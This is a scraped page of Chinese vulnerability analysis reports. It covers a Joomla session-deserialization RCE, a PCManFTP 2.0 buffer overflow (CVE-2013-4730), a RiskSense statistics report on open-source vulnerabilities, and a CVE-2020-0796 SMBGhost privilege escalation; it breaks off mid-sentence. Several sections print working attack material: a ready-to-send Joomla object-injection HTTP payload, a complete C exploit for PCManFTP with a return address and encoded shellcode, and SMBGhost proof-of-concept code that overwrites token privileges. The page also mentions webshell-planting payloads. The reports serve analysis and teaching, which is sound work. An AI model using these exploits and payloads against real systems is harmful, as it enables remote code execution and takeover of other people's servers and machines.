-
10月数据安全漏洞分析报告
2019-07-23 01:17:48资源名称:10月数据安全漏洞分析报告资源截图: 资源太大,传百度网盘了,链接在附件中,有需要的同学自取。 -
Joomla 对象注入漏洞分析报告
2017-09-26 14:14:06本文讲的是 Joomla 对象注入漏洞分析报告,近日,Joomla再曝高危0day漏洞,可进行远程命令执行,阿里云云盾昨日已上线相应的拦截规则抵御该漏洞。同时,对云托管客户已经做了电话通知和自动漏洞修复。统计数据显示,...本文讲的是 Joomla 对象注入漏洞分析报告,近日,Joomla再曝高危0day漏洞,可进行远程命令执行,阿里云云盾昨日已上线相应的拦截规则抵御该漏洞。同时,对云托管客户已经做了电话通知和自动漏洞修复。统计数据显示,截至16日凌晨,已有数百个恶意IP尝试使用该漏洞对阿里云网站发起攻击,云盾已成功拦截上万次攻击请求,其中攻击请求数排名第一的黑客在一小时内尝试入侵超过1000个 Joomla 网站。
根据此次漏洞情况,Joomla 官方已紧急放出了3.4.6版本。joomla用户除了尽快升级至最新版本,也可采用阿里云安全团队给出的更为完善的修复方案,对网站进行加固,详情可参考:0x03漏洞修复。
0x00 漏洞介绍
昨日,Joomla 安全团队紧急发布了 Joomla 3.4.6 版本,修复了一个高危 0day 漏洞。该漏洞影响了 1.5 到 3.4.5 的所有版本,漏洞利用无须登录,直接在前台即可执行任意PHP代码。
0x01 漏洞利用
将恶意代码放在 User-Agent 或 X-Forwarded-For 中发送给网站,将网站返回的cookie值带入第二个请求中,即可触发漏洞。或是在第一个请求中指定cookie值,在第二次中带上同样cookie值也能触发漏洞。
请求一:
GET / HTTP/1.1
Host: 127.0.0.1
X-Forwarded-For: }__test|O:21:”JDatabaseDriverMysqli”:3:{s:2:”fc”;O:17:”JSimplepieFactory”:0:{}s:21:”000disconnectHandlers”;a:1:{i:0;a:2:{i:0;O:9:”SimplePie”:5:{s:8:”sanitize”;O:20:”JDatabaseDriverMysql”:0:{}s:8:”feed_url”;s:37:”phpinfo();JFactory::getConfig();exit;”;s:19:”cache_name_function”;s:6:”assert”;s:5:”cache”;b:1;s:11:”cache_class”;O:20:”JDatabaseDriverMysql”:0:{}}i:1;s:4:”init”;}}s:13:”000connection”;b:1;}ð
Cookie: 3342514dde143a04dad958b2eb5a748a=pd4nnqlps2suk9r70189jkpdn2
请求二:
GET / HTTP/1.1
Host: 127.0.0.1
Cookie: 3342514dde143a04dad958b2eb5a748a=pd4nnqlps2suk9r70189jkpdn2
如果执行成功,请求二的返回内容中会显示phpinfo()的执行结果。
0x02 漏洞分析
在libraries/joomla/session/session.php文件中,joomla将HTTP_USER_AGENT和HTTP_X_FORWARDED_FOR直接存入到了session中
……
// Record proxy forwarded for in the session in case we need it later
if (isset($_SERVER[‘HTTP_X_FORWARDED_FOR’]))
{
$this->set(‘session.client.forwarded’,$_SERVER[‘HTTP_X_FORWARDED_FOR’]);
……
// Check for clients browser
if (in_array(‘fix_browser’, $this->_security) && isset($_SERVER[‘HTTP_USER_AGENT’]))
{
$browser = $this->get(‘session.client.browser’);
if ($browser === null)
{
$this->set(‘session.client.browser’, $_SERVER[‘HTTP_USER_AGENT’]);
}
}
继续跟进joomla对于session的处理方式,在 /libraries/joomla/session/storage.php 内 JSessionStorage 类中,利用session_set_save_handler重新实现了 session 存储的read()和write()方法,从php手册中得定义看到,read()、write()方法传进和传出的参数会分别自动进行序列化和反序列化,这一部分的序列化操作由PHP内核完成:
继续跟入到read()和write()函数,代码位于libraries/joomla/session/storage目录中,从所有session存储引擎的实现代码中可以看到,joomla都没有对 session 的value进行安全处理就进行了写入操作。 默认情况下,joomla使用了数据库引擎对 session 进行存储,这也是本漏洞可以成功利用的条件之一,构造exp时候,利用 Mysql 的字符截断特性,最终写入到数据库中一个被破坏的不合法的反序列化对象,当这个对象被执行read()读取时候,因为截断字符的关系, PHP内核(PHP <= 5.6.13)在解析session.client.forwarded后面字符串时,由于长度Check不一致,导致php_var_unserialize提前退出,返回false,PHP在上一次php_var_unserialize失败的时候,会从之前的指针位置继续开始下一轮key-value尝试,在新一轮key-value尝试中,PHP内核将攻击者注入的”|”当成了分隔符,进行key-value解析,进行反序列化导致对象方法被执行。
漏洞的本质原因有两个,一个是php内核的session解析器bug导致的,另一个是mysql数据库的字符截断特性。如果使用的session存储引擎不存在 Mysql 这样的字符截断特性,此漏洞就无法复现。我们测试该漏洞时,将joomla配置文件configuration.php中的$session_handler 配置为none,即使用文件系统存储session,发现漏洞无法成功利用。
0x03漏洞修复
Joomla 官方已经在昨天紧急放出了3.4.6版本。比对代码后发现,官方此次的升级补丁仅仅在 /libraries/joomla/session/session.php 中删掉了将HTTP_USER_AGENT写入SESSION变量中的代码,增加了对 HTTP_X_FORWARDED_FOR 获取到IP的合法性验证,将此次公开的exp中的利用点修复掉了。但官方没有对JSessionStorage 类中处理session的不安全方式进行修复,因此这个修复方式存在被绕过的可能。只要攻击者寻找到新的可控SESSION值的位置,就可用同样的构造方法触发漏洞。
下面给出更为完善的修复方案:
修改 Joomla 根目录 php ,把 $session_handler 的值改为none,会将session存储引擎设为文件系统。
把 PHP 版本升到到6.13 或更高的版本。
登录Joomla后台把程序升级到4.6 或更高的版本。
0x04 威胁现状统计数据显示,截至16日凌晨,已有数百个恶意IP尝试使用该漏洞对阿里云网站发起攻击,云盾已成功拦截上万次攻击请求,其中攻击请求数排名第一的黑客在一小时内尝试入侵超过1000个 Joomla 网站。
对攻击者使用的攻击payload分析,大部分攻击者在第一个请求中都会插入类似 eval(base64_decode($_post[a])) 这样的代码,在第二个请求中尝试向网站根目录写入一句话木马。如果攻击成功,网站将会被攻击者完全控制。也有部分攻击者使用的是网上公开的漏洞检测payload,如 phpinfo(); 和 md5(233333); ,这些代码一般不会对网站造成威胁。
原文发布时间为:十二月 16, 2015
本文作者:aqniu
本文来自云栖社区合作伙伴安全牛,了解相关信息可以关注安全牛。
原文链接:http://www.aqniu.com/learn/12585.html -
PCManFTP v2.0(CVE-2013-4730)漏洞分析报告
2019-08-02 21:42:45文章目录PCManFTP v2.0漏洞分析报告1.软件简介2.漏洞成因3.构造触发漏洞的POC4.构造Exploit5.漏洞利用 PCManFTP v2.0漏洞分析报告 软件名称 PCManFTP 操作系统 Windows XP 软件版本 2.0 漏洞编号 CVE-2013-...PCManFTP v2.0漏洞分析报告
软件名称 PCManFTP 操作系统 Windows XP 软件版本 2.0 漏洞编号 CVE-2013-4730 漏洞模块 PCManFTPD2.exe 危害等级 超危 模块版本 2.0.7 漏洞类型 缓冲区溢出 编译日期 2013-06-27 威胁类型 远程 分析人:
2019年7月31日
1.软件简介
PCManFTP Server是洪任谕程序员所研发的一套FTP服务器软件。该软件具有体积小、功能简单等特点。
[外链图片转存失败(img-35TA50ao-1564753022806)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\1564557298582.png)]
2.漏洞成因
-
CVE-2013-4730是PCMan FTP Server的2.0.7版在Windows XP下的远程溢出漏洞
-
通过查看文档可知,此软件由于未能有效处理FTP命令的字符长度,进而引发栈溢出漏洞,导致攻击者可以远程执行任何命令
-
用于FTP登录的“USER”命令即可触发此漏洞,也就是说我们在未提前获得目标的FTP访问权限的前提下,即可对其进行溢出攻击,因此这个漏洞造成的影响非常严重
3.构造触发漏洞的POC
我们需要有一份能与FTP进行交互的代码才能受控的触发此漏洞。理论上讲,只要我们编写的代码符合RFC959标准,就可以与任何一个FTP服务器进行交互不过FTP客户端的实现非常简单,我们完全没必要去阅读RFC959文档,我们只需作如下几步:
- 建立Socket链接,连接目标FTP
- 接受FTP服务器的欢迎语
- 发送“USER XXXX”登录请求
- 接受请求结果(不会走到这一步,此时FTP服务器已被攻击完)
和服务器交互的代码:
#include "stdafx.h" #include <winsock2.h> #include <tchar.h> #pragma comment(lib,"Ws2_32.lib") int _tmain(int argc, _TCHAR* argv[]) { // 1. 初始化Winsock服务 WSADATA stWSA; WSAStartup(0x0202, &stWSA); // 2. 创建一个原始套接字 SOCKET stListen = INVALID_SOCKET; stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); // 3. 在任意地址(INADDR_ANY)上绑定一个端口21 SOCKADDR_IN stService; stService.sin_addr.s_addr = inet_addr("127.0.0.1"); stService.sin_port = htons(21); stService.sin_family = AF_INET; connect(stListen, (SOCKADDR*)&stService, sizeof(stService)); // 4. 接受欢迎语 char szRecv[0x100] = { 0 }; char *pCommand = "USER hello everyone"; recv(stListen, szRecv, sizeof(szRecv), 0); // 5. 发送登陆请求 send(stListen, pCommand, strlen(pCommand), 0); recv(stListen, szRecv, sizeof(szRecv), 0); // 6. 关闭相关句柄并释放相关资源 closesocket(stListen); WSACleanup(); return 0; }
使用Mona2插件
-
Mona2是Corelan Team团队开发的一个专门用于辅助漏洞挖掘的脚本插件
-
Mona原本只支持Immunity Debugger,但是由于Immunity Debugger与OllyDbg同根同源,而OllyDbg的更新已经明显乏力,因此Mona2推出了可以在Windbg上使用的版本
-
Mona可以帮助我们快速的定位溢出点,并且可以帮助我们查找一些用于溢出的特殊指令,以及构成复杂攻击代码的小部件!
我们现在可以用Mona2生成一段3000字节长度的测试字符串,用于确定溢出点
触发溢出后可见如下回显,证明我们正要在一个不存在的位置执行代码
通过以上信息我们知道EIP被覆盖成了0x43386f43,我们可以使用如下的Mona2命令计算其溢出点
由以上结果可知,我们的溢出点在偏移2004的位置
溢出点已经确认,接下来我们需要用Mona2在目标程序空间中找到一个跳板指令“JMP ESP”
接下来可以构造我们的Exploit了
4.构造Exploit
构建一个长字符串发送登录请求
格式:“USER “+填充字节区+JMP ESP跳板指令+滑板指令区+Shellcode(前面一部分是解密代码,后面是加过密的Shellcode(不含0x00,0x0A,0x0D))+”\r\n”
#include "pch.h" #include <winsock2.h> #pragma comment(lib,"Ws2_32.lib") #define KEY "\x07" // Encode Key = 0x07 #define SIZE "\x36\x01" // Payload Size = 0x0136 char bShellcode[] = \ "\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1B\x33\xC9\x66\xB9" \ SIZE "\x8A\x04\x0E\x34" KEY "\x88\x04\x0E\xE2\xF6\x80\x34\x0E" KEY \ "\xFF\xE6" \ "\x67\x84\xEB\x27\xEC\x4B\x40\x62\x73\x57\x75\x68\x64\x46\x63\x63" \ "\x75\x62\x74\x74\x4B\x68\x66\x63\x4B\x6E\x65\x75\x66\x75\x7E\x42" \ "\x7F\x46\x07\x52\x74\x62\x75\x34\x35\x29\x63\x6B\x6B\x07\x4A\x62" \ "\x74\x74\x66\x60\x62\x45\x68\x7F\x46\x07\x42\x7F\x6E\x73\x57\x75" \ "\x68\x64\x62\x74\x74\x07\x4F\x62\x6B\x6B\x68\x27\x36\x32\x57\x45" \ "\x26\x07\xEF\x07\x07\x07\x07\x5C\x63\x8C\x32\x37\x07\x07\x07\x8C" \ "\x71\x0B\x8C\x71\x1B\x8C\x31\x8C\x51\x0F\x54\x55\xEF\x15\x07\x07" \ "\x07\x8C\xF7\x8A\x4C\xBA\x56\x55\xF8\xD7\x54\x51\x57\x55\xEF\x69" \ "\x07\x07\x07\x52\x8C\xEB\x84\xEB\x0B\x55\x8C\x52\x0F\x8C\x75\x3B" \ "\x8A\x33\x35\x8C\x71\x7F\x8A\x33\x35\x8C\x79\x1B\x8A\x3B\x3D\x8E" \ "\x7A\xFB\x8C\x79\x27\x8A\x3B\x3D\x8E\x7A\xFF\x8C\x79\x23\x8A\x3B" \ "\x3D\x8E\x7A\xF3\x34\xC7\xEC\x06\x47\x8C\x72\xFF\x8C\x33\x81\x8C" \ "\x52\x0F\x8A\x33\x35\x8C\x5A\x0B\x8A\x7C\xA8\xBE\x09\x07\x07\x07" \ "\xFB\xF4\xA1\x72\xE4\x8C\x72\xF3\x34\xF8\x61\x8C\x3B\x41\x8C\x52" \ "\xFB\x8C\x33\xBD\x8C\x52\x0F\x8A\x03\x35\x5D\x8C\xE2\x5A\xC5\x0F" \ "\x07\x52\x8C\xEB\x84\xEB\x0F\x8C\x5A\x13\x8A\x4C\xCB\x6D\x07\x6D" \ "\x07\x56\xF8\x52\x0B\x8A\x4C\xD0\x56\x57\xF8\x52\x17\x8E\x42\xFB" \ "\x8A\x4C\xE4\x56\xF8\x72\x0F\xF8\x52\x17\x8E\x42\xFF\x8A\x4C\xE8" \ "\x6D\x07\x56\x56\x6D\x07\xF8\x52\xFB\x6D\x07\xF8\x52\xFF\x8C\xE2" \ "\x5A\xC5\x17\x07\x07"; int _tmain(int argc, _TCHAR* argv[]) { // 1. 初始化Winsock服务 WSADATA stWSA; WSAStartup(0x0202, &stWSA); // 2. 创建一个原始套接字 SOCKET stListen = INVALID_SOCKET;; stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); // 3. 在任意地址(INADDR_ANY)上绑定一个端口21 SOCKADDR_IN stService; stService.sin_addr.s_addr = inet_addr("192.168.23.131"); stService.sin_port = htons(21); stService.sin_family = AF_INET; connect(stListen, (SOCKADDR *)& stService, sizeof(stService)); // 4. 构造Exploit char cExpolit[5000] = { 0x00 }; // Exploit容器 char cFill[3001] = { 0x00 }; // 填充字节 char cNOP[51] = { 0x00 }; // 滑板指令区 char cRetnAddr[5] = "\x7b\x46\x86\x7c"; // JMP ESP:0x7c86467b memset(cFill, '\x0C', 2004); // 由Mona得到的偏移 memset(cNOP, '\x90', 20); // 少填充1字节,如果变量cNOP后面不为0x00,也会被当成字符链接进来 //sprintf_s(cExpolit, "USER %s\r\n", cFill); sprintf_s(cExpolit, "USER %s%s%s%s\r\n", cFill, cRetnAddr, cNOP, bShellcode); // 5. 向FTP发送Exploit char szRecv[0x100] = { 0 }; char *pCommand = NULL; // 5.1 接受欢迎语 recv(stListen, szRecv, sizeof(szRecv), 0); // 5.2 发送登陆请求 send(stListen, cExpolit, strlen(cExpolit), 0); recv(stListen, szRecv, sizeof(szRecv), 0); // 6. 关闭相关句柄并释放相关资源 closesocket(stListen); WSACleanup(); return 0; }
5.漏洞利用
-
-
RiskSense Spotlight:全球知名开源软件漏洞分析报告
2020-06-22 17:07:29聚焦源代码安全,网罗国内外最新资讯!编译:奇安信代码卫士团队RiskSense公司最近发布了关于全球当前知名开源软件(OSS)的漏洞分析报告。奇安信代码卫士团队编译如下。摘要开...聚焦源代码安全,网罗国内外最新资讯!
编译:奇安信代码卫士团队
RiskSense 公司最近发布了关于全球当前知名开源软件 (OSS) 的漏洞分析报告。奇安信代码卫士团队编译如下。
摘要
开源软件 (OSS) 的出现快速改变了当代应用的构建方式及其依赖的底层代码。据预测,目前80%到90%的多数现代应用代码由开源组件构成。同样,很多赋能 DevOps 和 CI/CD 发展的工具本身也是开源项目,如 Jenkins、Kubernetes 和 Docker 等。开源软件还帮助组织机构降低软件成本并成为数字化变革和服务上云端的关键。2020年,Red Hat 公司发布报告指出,95%的组织机构认为开源软件对其业务具有重大的战略意义。
然而,开源变革本身也存在弱点。Red Hat 在报告中指出,企业使用开源软件时首先面临的就是代码安全问题。
虽然心脏出血漏洞和 Apache Struts 漏洞已成为家喻户晓的开源漏洞,但它们远非个案。开源软件正越来越多地遭到挖矿机、勒索软件和 DoS 攻击的侵扰。遗憾的是,开源软件漏洞是很多企业的盲点,它们也许并不能总是意识到应用中所使用的所有的开源项目和依赖关系。
为此,本期的 RiskSense Spotlight 报告主要关注当前一些最受欢迎的开源软件中的漏洞问题,涵盖50多个开源软件项目和2600多个漏洞。之后,我们通过该数据集对开源软件进行风险分析,从而揭示如下一些问题:
从真实发生攻击的可能性来看,哪些漏洞的风险最大?
哪些开源项目的漏洞和风险最大?
每个开源项目最严重的漏洞是什么?
开源漏洞是如何逐年增长的?
美国国家漏洞库 (NVD) 收录 OSS 漏洞的延时有多久?
引发漏洞的底层弱点是什么以及攻击者如何利用它们?
CVSS 和其它模型是如何对漏洞进行评级和分类的?
1、关键发现
2019年是 OSS 漏洞创纪录的一年。
2019年,已公开开源 CVE漏洞的总数(968个)是之前任何一年的两倍还多。相比2018年和2017年,2019年的漏洞数量分别增长了了130%和127%,而2017年的漏洞总数在本研究报告中排名第二位。这种增加并非昙花一现,因为在2020年的前三个月内,新增 CVE 的数量仍然处于历史高位,加剧了开发人员、IT和安全团队管理组织机构攻击面的复杂度。
NVD 漏洞披露的长潜伏期引发多种问题。
美国国家漏洞库 (NVD) 收录开源软件漏洞耗时漫长。从漏洞首次公开披露到漏洞被收录到 NVD 的整个过程平均耗时54天。而耗时最长的案例是某严重的 PostgreSQL 漏洞,足足延迟1817天。119个CVE漏洞的收录延时超过1年,大约四分之一 (24%) 的CVE漏洞收录延时超过1个月。这种延时情况出现在严重程度不一的漏洞案例中,而“严重”等级的漏洞的平均延时时间最长。这种延时对依赖 NVD 作为主要的CVE数据来源和上下文信息的组织机构造成了严重的缺乏可见度问题。
Jenkins 和 MySQL 的漏洞数量最多。
Jenkins自动化服务器中存在的 CVE 漏洞数量最多,为646个;而 MySQL 以624个的数量紧随其后。这些项目也是漏洞造武器化程度最高的项目,为15个(存在 exploit 代码的漏洞数量)。与之相比,HashiCorp 的 Vagrant 总计仅有9个 CVE 漏洞,而其中有6个遭武器化利用,使其成为从百分比角度来看武器化程度最高的开源项目。Apache Tomcat、Magento、Kubernetes、Elasticsearch 和 JBoss 中都含有在真实攻击中热门或流行的漏洞。
跨站点脚本和输入验证弱点遭武器化的程度最高。
跨站点脚本 (XSS) 和输入验证弱点均为研究过程中最常见也最常被武器化的弱点类型。XSS 问题是第二大最常见的漏洞类型也是最常被武器化的弱点。同样,输入验证问题是第三大最常见的漏洞类型也是第二大武器化最严重的弱点。输入验证和访问控制问题都是真实攻击中最常见的问题。
现实中的罕见弱点也很重要。
虽然某些弱点极为少见,但在活跃的攻击活动中仍然非常流行。反序列化问题(28个 CVE)、代码注入(16个CVE)、错误处理(2个CVE)和容器错误(1个CVE)都见于在野攻击活动。对于开源代码安全而言,这种罕见性是一个好兆头,同时也提醒我们开源软件问题可遭大规模攻击。
1、漏洞概述
我们主要分析了五年来最流行的一些开源项目的漏洞情况。我们以多种因素构建这一项目清单,如在 GitHub 上的流行程度、基于具体开源项目的公司的市场价值(如 Elastic 和 Elasticsearch),以及多种 OSS 软件列表如BOSS 指数。由此形成的数据集共包含54个开源项目。我们分析了过去五年来(从2015年到2020年前三个月)的每个项目,共计找到2694个CVE漏洞。
逐步集中的风险漏斗分析
虽然所有的漏洞都很重要,但攻击者在真实世界中利用的漏洞自然会对组织机构造成更多的直接风险。为此,我们在多种真实世界威胁上下文中分析了该数据集。这种以威胁为中心的分析为快速有效地修复最重要漏洞提供了强大的方法。基于如下上下文,分析形成了逐步集中的漏洞漏斗:
武器化漏洞:在所有的2694个漏洞中,只有89个即3.3%的漏洞被武器化,即存在能够利用该漏洞的已知 exploit 代码。
战略漏洞;18个漏洞可触发远程代码执行或提权后果。这类漏洞对于攻击者而言具有较高价值且加大了攻击的可能性和影响。
遭在野攻击热门漏洞:研究团队基于成为活跃攻击活动目标或可能产生广泛影响,将6个漏洞标记为“热门 (trending)”漏洞。
根据严重程度划分 CVE 漏洞
图表1(b) 展示了在 CVSS v2 评分模型中被评级为“中危”级别的多数 CVE 漏洞。从 OSS 数据集的角度而言,共有9.6%的CVE漏洞为“严重”级别,33.3%为“高危”级别,54.4%为“中危”级别,而2.6%为“低危”级别。
2、按年份划分漏洞
单从 CVE 漏洞的数量来看,2019年是开源漏洞的分水岭。好消息是对2019年漏洞的武器化率仍然较低。
3、按开源项目划分漏洞
漏洞数量多并不一定意味着某个具体的 OSS 项目质量差。
从漏洞总数来看,排名靠前的项目是 Jenkins、MySQL、GitLab、OpenStack 和 Magento。这些项目的 CVE 漏洞总数如下表 3(b) 所示。
然而,CVE的数量多并不一定意味着被武器化的漏洞数量也多。图表3 (c) 按照武器化率列出了项目列表。
多个开源项目的漏洞武器化率非常低或不存在。
关键项目和漏洞总结
如下部分强调了组织机构应该在风险管理实践中意识到的12个重要漏洞。它们有的是在活跃的威胁活动中热门的以及/或者因其可利用性和潜在影响力而具有高风险的漏洞。
Jenkins:Jenkins 是一款自动化服务器,供开发人员构建、测试并部署软件。如上所述,Jenkins 的 CVE 漏洞总数最多,为第三大 CVE 漏洞被武器化的 OSS。虽然目前未遭在野利用,但最近发现的 CVE-2020-2100 漏洞因被用于反射型 DDoS 攻击中而变得尤为重要。
JBoss:JBoss 是一款开源应用平台。JBoss 的CVE漏洞总量排名第8,达到88个。JBoss 被指易受最近产生的 Ghostcat 漏洞 (CVE-2020-1938) 影响,后者主要影响 Apache Tomcat,目前已是热门的在野利用漏洞。其它值得关注的 JBoss 漏洞包括 CVE-2017-12149(反序列化漏洞,已遭在野攻击)和更老旧的仍遭勒索软件攻击的漏洞 CVE-2010-0738。
Magento:Magento 是一款流行的开源电商平台。虽然在 Magento 所具有的154个漏洞中仅有3个被武器化,但它们都非常重要。CVE-2019-7932 可导致任意代码注入,目前已是热门的在野利用漏洞。CVE-2019-7139可导致 SQL 注入且可能此前已遭在野利用。同样,CVE-2016-4010 已被用于 “magecart” 攻击中,作为从 Magento 网站中窃取信用卡信息的一种方法。
Docker:Docker 中具有30个 CVE 漏洞,仅有2个被武器化。然而,其中的CVE-2019-5736可导致恶意 Docker 容器通过攻击主机的 runC 二进制获得对主机的 root 级别的控制。该漏洞还影响 Kubernetes 和 OpenShift。另外,保护不当的 Docker 部署已遭蠕虫 Graboid 攻击。
Kubernetes:除了受上述 runC 漏洞 (CVE-2019-5736) 影响外,Kubernetes 还受 CVE-2018-1002105 漏洞影响。该漏洞是热门的遭在野利用漏洞且可导致攻击者以任意用户的权限向 Kubernetes API 服务器发送完全授权的请求。
Elasticsearch:Elasticsaerch 以58个漏洞的总量排名第12。4个漏洞被武器化,其中2个可导致远程代码执行后果。值得注意的是,CVE-2015-1427在去年被用于多种攻击活动中,如密币挖矿、僵尸网络和 DDoS 攻击等。
Git:Git 在数据集中出现的频率很低,仅有两个 CVE 漏洞,但这并不意味着它未成为攻击的目标。攻击者并未针对 CVE 漏洞,而是针对保护薄弱的 GitHub、GitLab 和 BitBucket 账户以获取访问权限并勒索 Git 仓库寻求赏金。
4、NVD 延时收录分析
所有的评分系统都显示,严重程度最高的漏洞被延时的情况最严重。
按开源项目看 NVD 的收录延时问题
虽然延时矩阵整体而言较高,但个体 OSS 项目之间也存在巨大差异。图表 4(b( 展示了所有案例项目的NVD收录平均延时情况(从高到低的顺序)。在总计47个漏洞中,其中23个漏洞的延时为10天或更久。
延时案例
5、按弱点划分漏洞
为了更好地理解数据集中的漏洞,我们按照 CWE 分类从底层弱点的角度进行了分析,之后进一步强调了组成 OWASP Top 10 分类中的漏洞。最常见的至少有一个漏洞被武器化的常见的 CWE 漏洞列表如下。
XSS漏洞的数量如此之多的原因在于它是最常见的弱点类型而且也是漏洞奖励计划中赏金最高的类型。同样,CWE-20 输入验证不当问题是一个常见的类型,因为它涵盖了大量的潜在攻击模式。
然而,有一些关于被武器化且同时在野出现的热门漏洞结果值得关注。图表 5(b) 展示了被武器化的十大 CWE 弱点。XSS 弱点位列第一,输入验证不当位列第二。从武器化角度来看其它 CWE 弱点也值得注意。
接着,我们进一步分析了热门的在野利用弱点,如图表5(c) 所示。其中最值得注意的三个弱点并未在上述任何列表中提及。代码注入弱点虽然共包含17个 CVE 漏洞,但仅有1个遭武器化。错误处理虽然仅包含2个 CVE 漏洞,但其中1个既被武器化又是遭在野利用的热门漏洞,而数据集中唯一的一个容器错误弱点同样是被武器化且在野利用的热门弱点。
根据 OWASP Top 10 划分的弱点
结论
开源软件在组织机构的攻击面中发挥的作用愈发重要。虽然开源带来了很多好处,但如何管理这一新的攻击面也是一种挑战。和更传统的软件相比,开源项目中出现新漏洞的速度也创造了历史记录,而单靠传统的评分系统如 CVSS 并不一定能够按照实际产生的最大风险对漏洞进行优先级排序。另外,相比传统软件通过标准资源如 NVD 报告 CVE 漏洞的方式,开源项目也远远落后。
遗憾的是,这些挑战包括漏洞总量、武器化率和 NVD 报告延时对每个具体项目产生的影响是不同的。对于开源软件而言,将真实世界的漏洞上下文集成到基于风险的漏洞管理中显得尤为重要。我们希望本报告数据能够为组织机构提供价值,且应用实际的开发、运维和安全实践中。
推荐阅读
GitHub 推出安全新功能,帮助开源软件发现漏洞和机密信息
每 1000 行代码有 14 个安全缺陷,开源软件的安全令人堪忧
原文链接
https://info.risksense.com/open-source-spotlight-report-pr
题图:Pixabay License
本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 www.codesafe.cn”。
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的
产品线。
点个 “在看” ,加油鸭~
-
CVE-2020-0796 漏洞分析报告(最详细)
2020-05-28 11:04:50CVE-2020-0796 漏洞分析报告 1 漏洞介绍 1.1 名称 微软SMBv3 Client/Server远程代码执行漏洞CVE-2020-0796 1.2 影响范围 Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for x64-based ...CVE-2020-0796 漏洞分析报告
1 漏洞介绍
1.1 名称
微软SMBv3 Client/Server远程代码执行漏洞CVE-2020-0796
1.2 影响范围
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)1.3 SMB介绍
Microsoft服务器消息块(SMB)协议是Microsoft Windows中使用的一项Microsoft网络文件共享协议。在大部分windows系统中都是默认开启的,用于在计算机间共享文件、打印机等。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。
利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。
2 POC简介
该POC用来恶意提权,虽然该漏洞发生在远程数据传输,但是该POC是本地运行的恶意提权软件。实质上还是需要构造数据包,发生到服务器,但是这里客户端和服务器都是同一台机器。之所以POC需要这样构造 ,是因为利用该漏洞我们可以实现向任意区域写任意数据,但由于地址随机化,我们在客户端很难获取想要写入的服务器地址。
本次分析的环境是
cn_windows_10_business_editions_version_1903_x64_dvd_e001dd2c
,关闭更新。2.1 来源
https://github.com/danigargu/CVE-2020-079
2.2 运行结果分析
可执行程序
执行结果
如图所示,运行该可执行程序后,最终弹出具有管理员权限的
cmd.exe
。2.3 SMB 协议格式
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TM59pHAv-1590634234535)(CVE-2020-0796 漏洞分析报告.assets/smb_header.png)]
3 静态分析
静态分析部分包括利用IDA静态分析漏洞所在驱动(srv2.sys)和分析POC代码。
3.1 POC分析
构造socket
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == INVALID_SOCKET) { printf("socket() failed with error: %d\n", WSAGetLastError()); WSACleanup(); return EXIT_FAILURE; } sockaddr_in client; client.sin_family = AF_INET; client.sin_port = htons(445); InetPton(AF_INET, "127.0.0.1", &client.sin_addr);
如代码段所示,该程序构造socket用于发生SMB数据包,且目的地址为本机。
获取当前进程的令牌
ktoken = get_process_token();//自定义函数 if (ktoken == -1) { printf("Couldn't leak ktoken of current process...\n"); return EXIT_FAILURE; }
ULONG64 get_process_token() { HANDLE token; HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId()); if (proc == INVALID_HANDLE_VALUE) return 0; //参数分别为 1:要修改访问权限的进程句柄 2:要对令牌进行何种操作 3:返回的访问令牌指针 OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token); ULONG64 ktoken = get_handle_addr(token); return ktoken; }
构造数据
memset(buffer, 'A', 0x1108); *(uint64_t*)(buffer + 0x1108) = ktoken + 0x40;
经过查询,ktoken + 0x40对应的字段是SEP_TOKEN_PRIVILEGES,可以通过修改该字段提权。
压缩数据
将构造的数据进行压缩。
err = RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS, buffer, buffer_size, compressed_buffer, sizeof(compressed_buffer), 4096, &FinalCompressedSize, lpWorkSpace); if (err != STATUS_SUCCESS) { printf("RtlCompressBuffer() failed with error: %#x\n", err); free(lpWorkSpace); return error_exit(sock, NULL); }
发送SMB数据包
if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) { return error_exit(sock, "send()"); }
int send_compressed(SOCKET sock, unsigned char* buffer, ULONG len) { int err = 0; char response[8] = { 0 }; const uint8_t buf[] = { /* NetBIOS Wrapper */ 0x00, 0x00, 0x00, 0x33, /* SMB Header */ 0xFC, 0x53, 0x4D, 0x42, /* protocol id */ 0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */ 0x02, 0x00, /* compression algorithm, LZ77 */ 0x00, 0x00, /* flags */ 0x10, 0x00, 0x00, 0x00, /* offset */ }; uint8_t* packet = (uint8_t*) malloc(sizeof(buf) + 0x10 + len); if (packet == NULL) { printf("Couldn't allocate memory with malloc()\n"); return error_exit(sock, NULL); } memcpy(packet, buf, sizeof(buf)); *(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC; *(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC; memcpy(packet + sizeof(buf) + 0x10, buffer, len); if ((err = send(sock, (const char*)packet, sizeof(buf) + 0x10 + len, 0)) != SOCKET_ERROR) { recv(sock, response, sizeof(response), 0); } free(packet); return err; }
如
send_compressed
